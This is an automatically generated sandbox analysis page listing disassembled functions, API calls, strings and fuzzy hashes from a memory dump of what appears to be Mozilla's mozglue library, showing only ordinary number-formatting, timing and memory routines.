Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)$QzO/
API String ID: 2950001534-1332957708
Opcode ID: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction ID: 92e649dd749f1d31834ced94b40f3cb96ce3d0bd4d213d78b196b51bd8525c27
Opcode Fuzzy Hash: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction Fuzzy Hash: 2E725A72A156118FD704CF28C940E15FBE1BFC9328F2AC66DE8699B791D375E842CB81

Function 6C522C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C522C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C522C61

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C522C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C522E2D

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

Strings

expected a Time entry, xrefs: 6C522E36
ProfileBuffer parse error: %s, xrefs: 6C522E3B
QzO/, xrefs: 6C522C26, 6C522D08
(root), xrefs: 6C52354F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$QzO/$expected a Time entry
API String ID: 801438305-83490536
Opcode ID: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction ID: 59c1a8f569e6e269c72ae5e5563ca9e49b9923da721b46727d99fc009631aaa2
Opcode Fuzzy Hash: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction Fuzzy Hash: ED91D0746083408FC724CF24CC8469FB7E5AFC9368F50892DE5998B791EB34E94ACB52

Function 6C539E30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C539F3D
__aulldiv.LIBCMT ref: 6C539F77
__aullrem.LIBCMT ref: 6C539F8C
__aulldiv.LIBCMT ref: 6C53A023

Strings

-Infinity, xrefs: 6C539E60, 6C539E7B
NaN, xrefs: 6C539EAB
QzO/, xrefs: 6C539E3C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN$QzO/
API String ID: 3839614884-71869190
Opcode ID: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction ID: efd3941f69376e6b59dd9e18c2fcab802b1e914d1157d091dbf7064f523d0a18
Opcode Fuzzy Hash: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction Fuzzy Hash: C9C19D71A003298BDF14CFE8CC50B9EB7B6EB88314F54552DD409ABB80EB74A949CB91

Function 6C4DD4E0 Relevance: 12.1, Strings: 9, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C4DD7DD
1, xrefs: 6C4DDBDD
@, xrefs: 6C4DDAF6
8, xrefs: 6C4DDC08
0, xrefs: 6C4DD852
QzO/, xrefs: 6C4DD4F8
, xrefs: 6C4DDA88
9, xrefs: 6C4DDE7F
0, xrefs: 6C4DDC7F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@$QzO/
API String ID: 0-2636688631
Opcode ID: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction ID: 14851abc79d34a04dbf2cde325369a60ce2940b7eeb8a87584327f1033c9e2dc
Opcode Fuzzy Hash: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction Fuzzy Hash: 9062B13060C3458FD705EE28C4A0F5ABBF1AF86359F1A4A5DE4E54BB51C335A885CFA2

Function 6C4E9F00 Relevance: 9.8, Strings: 7, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C4EAB22
1, xrefs: 6C4EA824
' , xrefs: 6C4EA3D8
0, xrefs: 6C4EA100
QzO/, xrefs: 6C4E9F18
9, xrefs: 6C4EA5D6
@, xrefs: 6C4EA625

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@$QzO/
API String ID: 0-2333741614
Opcode ID: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction ID: 8fb1c1b3091c5bf069cc7c1db482cc8a208024053d55f8ce2b804bbad8a7d244
Opcode Fuzzy Hash: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction Fuzzy Hash: 0682B0319093118BD711CF19C480E6EBFF2AF8975BF578A2AE8D547B90D3359886CB42

Function 6C54545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C548A4B

Strings

~qMl, xrefs: 6C549269, 6C54921F, 6C549459, 6C545703, 6C545740, 6C5456C7, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: daf36e273b7d447ad8a32736401089dcc3d5f23a5a09017820b52a2007c3b975
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F6B1F772E0021ACFDB14CF68CC917E8B7B6EF85314F1842A9C549DB785E730A989CB90

Function 6C54542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C54925C

Strings

~qMl, xrefs: 6C549269, 6C54921F, 6C549459, 6C545703, 6C545740, 6C5456C7, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 96838d61981010bfc2145d71df49a5a368a10c77c69f0f0dc2e1c8c5e90b861a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 65B1C572E0421ACBDB14CF58CC816EDB7B6AF85314F194269C949EB785E730A989CB90

Function 6C5277A0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C527A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C527A93

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C527AA1

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C527B31

Strings

QzO/, xrefs: 6C5277AF

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID: QzO/
API String ID: 4054851604-117776061
Opcode ID: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction ID: 4a510955138f46a2fae3a8b60463339358ea00baa30c4efb0a44bdd79b3ea55a
Opcode Fuzzy Hash: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction Fuzzy Hash: 49B16C357083818BCB14CF24C85065EB7E2AFC9358F154A1DE995A7BD1DB74E90ACB82

Function 6C53C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53C0E9), ref: 6C53C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C53C437
FreeLibrary.KERNEL32(?,6C53C0E9), ref: 6C53C44C

Strings

ntdll.dll, xrefs: 6C53C413
NtQueryVirtualMemory, xrefs: 6C53C431

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction ID: 0c2c30935e4bc343505cb67d7d549cbf231db027848131fe490665ce5436f480
Opcode Fuzzy Hash: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction Fuzzy Hash: EAE0B6707023119BDF007F75DD0CB157BF8B706305F8A9316AA09A2700EBB2D0148B58

Function 6C4DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4DC1CB
__aulldiv.LIBCMT ref: 6C4DC24C
__aulldiv.LIBCMT ref: 6C4DC348
__aullrem.LIBCMT ref: 6C4DC365
__aulldiv.LIBCMT ref: 6C4DC37D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0edd36aa9997a951edb5c233b18ad85bee8517109b38e1f9f665b44a7d3c0e49
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: CB320632B046118FC718DE6CC8A0E56BBE6AFC9350F0A866DE495CB395D730ED05CB91

Function 6C4F8850 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9813, 6C4F985D, 6C4F9878, 6C4F9CEB
QzO/, xrefs: 6C4F885C
MOZ_CRASH(), xrefs: 6C4F97EA

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$QzO/
API String ID: 0-2353218112
Opcode ID: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction ID: 8aac0ac4ab5cc61bbfe68d98dcacd1fc0e42b57141154970ab62697b686a8514
Opcode Fuzzy Hash: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction Fuzzy Hash: 03D26B71A156018FD718CF19C590E15BBE1BFD6324B29C76DE87A8B7A5C732E842CB80

Function 6C516CF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C516D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516E1E

Strings

QzO/, xrefs: 6C516D04

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID: QzO/
API String ID: 4169067295-117776061
Opcode ID: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction ID: fd2881138fe8f4b574363b295e95acb4a8f269ce810b959b010a75b692efaa0a
Opcode Fuzzy Hash: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction Fuzzy Hash: 17A16C74618380CFD715CF24C8947AABBE2FFC8308F45491DE48A87B51DB74A949CB92

Function 6C53B700 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C50FE3F), ref: 6C53B720
RtlNtStatusToDosError.NTDLL ref: 6C53B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C50FE3F), ref: 6C53B760

Strings

QzO/, xrefs: 6C53B707

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID: QzO/
API String ID: 304294125-117776061
Opcode ID: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction ID: 9eb7590432983afe8be3c48ac6adf3d9ee9dfe89791d062f87b396f9160d4054
Opcode Fuzzy Hash: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction Fuzzy Hash: 69F0A470A0021CEEDF01AAA18C88BDE77BCDB84319F506129D515655C0E774A99CC661

Function 6C4F4640 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F5585, 6C4F55A8, 6C4F55C3, 6C4F5624
QzO/, xrefs: 6C4F4653

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)$QzO/
API String ID: 4275171209-1332957708
Opcode ID: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction ID: c9f65dc3212d2c47fbcd71fa4fca32264fc353eeb665468f80f30c6443d1546f
Opcode Fuzzy Hash: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction Fuzzy Hash: 04B25C71A056018FD309CF29C590F15BBE2AFC5325B29C76DE47A8B7A5D771E842CB80

Function 6C5385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C538C7C
__aulldiv.LIBCMT ref: 6C538DD7

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d4f3cf98754f2de60cb63186e345606e4ba6729c6321f1f4902c2ab94f562fd0
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: ED325F71F011298BDF1CCE9DC8A17AEB7B2EB88300F15952BD50AFB790E6345D458B92

Function 6C515C10 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4E4A63,?,?), ref: 6C515F06

Strings

QzO/, xrefs: 6C515C19

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcmp
String ID: QzO/
API String ID: 1475443563-117776061
Opcode ID: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction ID: 75727b09f3dce0603784fdeea40a35a454011bcaa0c0ce63ac205fe3706f86de
Opcode Fuzzy Hash: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction Fuzzy Hash: 3CC1C075D052098BDB04CF55C9946EEBBB2FF89318FA8415DD8556BF40D732A905CF80

Function 6C4DDFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

QzO/, xrefs: 6C4DDFF3

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: QzO/
API String ID: 0-117776061
Opcode ID: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction ID: 5b886731a7a80ff84700a9d16d018c14b88c7583ece8e1f7fbd96d5ceb3b530b
Opcode Fuzzy Hash: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction Fuzzy Hash: AC42A472A187508BD305DE3CC891B5AF3E2BFC9354F0A872DE999A7790D734E9418781

Function 6C5476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C547B0B, 6C5479C0, 6C547796, 6C54793C, 6C5479FB, 6C547E0B

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 051ca7fb1014e6e0b0e13f9b930ed24752f20f0d00a0316de850774f05845cf7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0E32F871E0061A8FDB14CF99C890AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C546E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C547B0B, 6C5479C0, 6C547C72, 6C54793C, 6C5479FB, 6C547E0B, 6C547C03

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
